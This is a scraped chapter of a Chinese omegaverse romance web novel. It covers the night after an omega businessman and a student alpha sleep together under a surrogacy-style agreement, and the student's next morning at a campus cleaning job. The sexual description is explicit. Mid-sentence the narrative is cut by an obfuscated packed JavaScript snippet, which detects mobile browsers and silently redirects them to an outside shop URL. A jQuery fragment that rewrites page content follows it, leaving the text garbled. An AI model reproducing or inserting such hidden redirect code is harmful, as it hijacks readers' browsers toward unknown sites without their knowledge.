窗外夜色如薄薄的银色轻纱,雾似地流动,将众多热烈后平息的滚烫隐匿。

    池宴舒能直接品尝到男人内里的柔软与吸力,让他想起被夏天太阳暴晒的水龙头,如果把手伸进水龙头里面,和此刻的他感觉差不多,长时间的绵延滚烫让他十分不自在。

    不过既然omega都觉得没问题,池宴舒也没有再动,只是,他明天一大早还有个兼职,工作怎么办?

    他抿紧唇角,最终陷入了沉默。

    霍启琛疲倦到了极致,视线扫过,看出池宴舒有心事,好像不愿意。

    如果少年不想,那么他也不愿做强人所难的事。

    霍启琛眉心蹙起,淡声:“既然你不想在我身体里面,今晚分开也可以。”

    池宴舒知道他误会了,急切地连忙出声解释:“先生,不是这样的,是因为,我……我明天早上六点有个兼职,我担心赶不上。”

    能免费吃顿早饭,还有钱拿呢。

    池宴舒不擅长撒谎,声音听起来特别真诚,霍启琛眉心舒展开,看来是真的因为工作,不是讨厌埋他腔体里面。

    alpha对工作的态度,让霍启琛稍加欣赏,他淡声道:“放心,明天我会让司机来接你,你不会迟到。”

    说完这句话,霍启琛便没有再说话,他身体酸疼,几乎可以说哪哪都不舒服,实在疲倦乏力,需要睡眠补充体力。

    霍启琛眼尾垂下,开口将灯光关掉。

    酒店房间的设备都可以用声音控制,不需要霍启琛或者池宴舒起身去关,不然肯定会流出来……很多精华。

    平日里,霍启琛入睡困难,需要在非常安静漆黑的环境里面,才能吝啬地酝酿出点睡意,有时还要借助安眠药才能入睡。

    最近为了备孕,他连酒和烟都戒掉了,更不用说药物了,戒掉安眠药之后,霍启琛一直都睡不好,入睡难,睡眠浅,睡眠质量非常差。

    不过今天发生的事,却让他久违地产生了浓烈的困意,霍启琛觉得自己不需要任何辅助药物,脑袋沾上枕头那一秒就能睡着。

    房间陷入伸手不见五指的黑,先前池宴舒隔着眼罩还能模糊看见些许光点,然而此刻他却连光晕都看不见。

    男人似乎是累极了,几乎是在灯熄灭的下一秒就睡着了,均匀的呼吸喷洒在池宴舒脸侧,很痒也很麻。

    可他却连躲都不能躲,男人和他相连在一起,上半身几乎窝进了他怀里,在不撕毁协议的前提下,池宴舒无法避开男人带给他的任何异样感。

    而或许是为了不让他的流出来,男人没有背对着池宴舒,而是趴在他怀里,靠得很近,下巴枕在他肩头,手臂则搭在他腰上。

    池宴舒能感觉到浓郁的滑腻感,别说脸了,他手指都如触电一样灼红了起来。

    omega先生居然要吸他整晚……好难为情啊。

    霍启琛长发在池宴舒眼罩上,耳朵上,还有嘴里面,泛着香味的发丝并没有让年轻alpha心猿意马,反倒是窘促多点。

    亲密无间的姿势让池宴舒极其不适应,他默默吐出嘴里面的头发,尽量拉开与男人的距离,以某种别闹的姿势入睡。

    可惜还是睡不着。

    池宴舒手下意识摸向口袋,努力掏了掏,却连半颗西瓜糖都没掏出来。

    他恍然,这才想起他身上这件不是自己的衣服,而是被omega亲手解开的浴袍。

    没办法借用糖果转移注意力,池宴舒只得把听觉,触觉都送给了霍启琛。

    男人身体偏冷,手臂与皮肤都很冰凉,应该是天生体质如此,不过矛盾的是,某些时候却热得烫人。

    池宴舒同霍启琛一样,都由衷地希望这次之后,就能结束协议,让两人都恢复自由身。

    酒店这一整层都只有他们两个人,一切都静悄悄的,除了呼吸心跳声,几乎没有别的响动。

    池宴舒瞪大眼睛,望着黑漆漆的眼罩,罕见地有些失眠。

    不知道过了多久,池宴舒才有了困意,进入了梦境。

    池宴舒是被手机震动声叫醒的,他迷茫地睁开眼睛,视野中却没有看到任何画面,他慢吞吞地转动脑袋,迟钝地想起他脸上戴着眼罩,难怪世界黑漆漆的。

    他没有摘下眼罩,免得看到不该看的。

    过了会,池宴舒察觉到不对劲,他身边空荡荡的,好像没有人一样,手往旁边的床单摸去,触感已然温凉。

    那位先生已经离开了吗?

    池宴舒纠结片刻,试探性开口:“先生,请问您还在吗?”

    没有人回答他,池宴舒再次问了第二遍,依旧只能听到他自己的呼吸声。

    看来房间真的只有他一个人,既然如此,池宴舒伸手,慢慢把眼罩摘下,视觉长时间陷入混沌的黑暗,眼睛还没办法直接适应光亮,看到的景物轮廓还带着模糊。

    池宴舒眨了眨双眸,过了十几秒,视线恢复正常,他把闹钟关掉,眯着眸子看了眼时间。

    早上五点半,池宴舒放了心,能赶的上兼职。

    问题是,虽然池宴舒全程都缺乏看时间的能力,可从他的感受来看,他与那位omega从入睡到清醒,最多三四个小时,男人又那么疲惫,只休息这么点时间,身体真的不会出问题吗?

    那位omega先生去哪了?

    而且……他明明没有察觉到旁边的动静,究竟什么时候离开的?

    池宴舒发现手机还多了条消息。

    [用户708969991:正在搜寻能与你妹妹配型的心脏,最迟一个月,就能找到,到时会立刻为你妹妹安排上。]

    看消息发送的时间,在半个小时之前,也就是说,男人至少那个时候已经醒了,难怪身旁的床单那么凉。

    omega先生的效率好快,明明只有这一次,还未必能让男人成功怀孕,没想到竟然已经为妹妹找心脏准备手术了 。

    池宴舒以为那种有权有势的权贵,只有在得到确实的好处之后,才愿意把交易的筹码给他。

    但男人却没有吝啬  ,池宴舒心下一阵感动,omega先生真是个好人。

    虽然可能还要等一个月,可总比医院的遥遥无期来得近,有了确切的时间,池宴舒心踏实多了。

    希望那位先生这次就能怀孕,能够得偿所愿。

    [池宴舒:谢谢。]

    池宴舒没有等到任何回复,他没有在意,准备去洗漱换衣服,然后直接回学校打工。

    他掀开被子,看到床单浮现了许多不规则的浊白色小点,在时间的作用下,圆润小点干枯,形成了星星点点的白斑。

    除了床单上,就连地板上也有,一路蜿蜒到浴室。

    这是什么?池宴舒疑惑地想。

    没多久,池宴舒想起了这东西的本质,他盯着呆呆地看了半天。

    池宴舒嘴唇抿直,整个人羞臊得慌,不敢继续看,他别过脸,戴上眼镜往洗漱间走去。

    跟鸵鸟一样假装没看见。

    酒店有很多一次性洗漱用品,足够池宴舒用了,至于衣服,他昨天换下的衣服在洗衣机洗过,还用烘干功能烘了遍,拿出来就可以直接穿。

    池宴舒换上衣服,离开房间前,他回头看了眼,痕迹那么多,他是不是要打扫干净再走,可他刚刚找了好久,都没

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711311|208439||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有找到能够替换的床单,只能不好意思地麻烦酒店的工作人员了。

    他转过头,乘坐电梯下楼,刚走出酒店没多久,池宴舒见到辆眼熟的车,犹豫了两秒,他刚要绕开,车窗摇下,露出张脸,是之前接他去医院的司机。

    司机看着池宴舒道:“池先生,请上车。”

    看来是专门接他的,池宴舒没再纠结,坐了上去,礼貌道:“司机先生,请送我到燕京大学侧门,谢谢。”

    侧门偏远,平常人少,再加上这个点,几乎不会有人,池宴舒倒是不用太担心会被发现。

    司机点头,踩下油门,往池宴舒学校开去。

    趁着还在路上,池宴舒抓紧时间背书。

    一直到下车,池宴舒还在复习知识点,他扫了辆共享单车,前往布置场地,是间多媒体大教室,阶梯式的座位,可以坐三千人。

    说是布置,池宴舒要做的活主要以打扫清洁为主,要把灰尘,落叶等等小脏污清掉。

    教室大,布置起来也很累,除开兼职的学生,学校还另外找了好几个专门的保洁来打扫,可以直接让学生们的工作量减少。

    池宴舒混在人群里,匆匆吃完发下来的早餐,早餐份量很足,一人一杯豆浆,五个肉包子,还有茶叶蛋,油条,够吃饱了,而且味道很不错,肉包子个头大,还透着油。

    吃完,池宴舒拿上扫把和抹布,化身勤劳的蜜蜂,开始清洗教室。

    教室没有开空调,哪怕是早上,毕竟是夏天,忙碌了半个小时,大多数人也累出了身汗。

    负责组织的人拍了拍手,将众人的目光吸引过来:“大家都辛苦了,这里有喝的,每人都有份,过来拿,消消暑,免得累晕倒了。”

    这话夸张了,在室内,再怎么样都不至于中暑晕倒,不过有些人累到疯狂出汗是真的

    池宴舒放下清洗工具,洗了洗手,用来解暑的饮品,主要是冰咖啡和柠檬水,顾忌到部分人不喜欢喝冰饮,还有热奶茶。

    他不喜欢喝咖啡,至于柠檬水……池宴舒倒是能接受,问题是他对柠檬轻微过敏,过敏症状很奇怪,原本对omega信息素不敏感的他,居然会在吃了柠檬之后,变得截然相反,能清楚地闻到omega身上信息素的味道。

    头昏脑胀,坐立难安都是轻的,据医生说,如果严重点,他的易感期还会被勾出来。

    明知自己会对柠檬产生奇异的反应,池宴舒肯定不会主动碰柠檬水。

    他再不爱喝咖啡,也只能选这个,恰巧,他昨天没休息好,喝了还能提神。

    插上吸管之后,池宴舒喝了半口,便将奶茶放到一边,重新打扫了起来,他干的细致且认真,不见丝毫敷衍。

    在他们努力清洁之下,教室总算干净了不少,再放上花卉,摆上具有象征意义的雕塑,挂上徽章,剪彩仪式要用的彩带,还有杂七杂八的东西。

    做完了这些,池宴舒今天早上的兼职就做完了,比预计时间多花了二十分钟,结账的时候多给了每人五十块。

    眼看着池宴舒马上要离开教室,负责人马上追上来:“小池,今天下午五点你有课吗?”

    池宴舒今天上午课排满了,与之相对的,下午课就没有那么满了,他晚上兼职从六点半开始,中间有段空闲的时间。

    池宴舒点了点头:“有的,怎么了吗?”

    负责人笑着道:“我看你干活挺认真,你要是有时间,下午五点来这间教室,到时候还得再帮点小忙,待遇就跟早上的一样。”

    过了会儿,负责人突然露出兴奋激动的表情,压低声音,神秘兮兮道:“而且……还有机会见到霍学长呢。”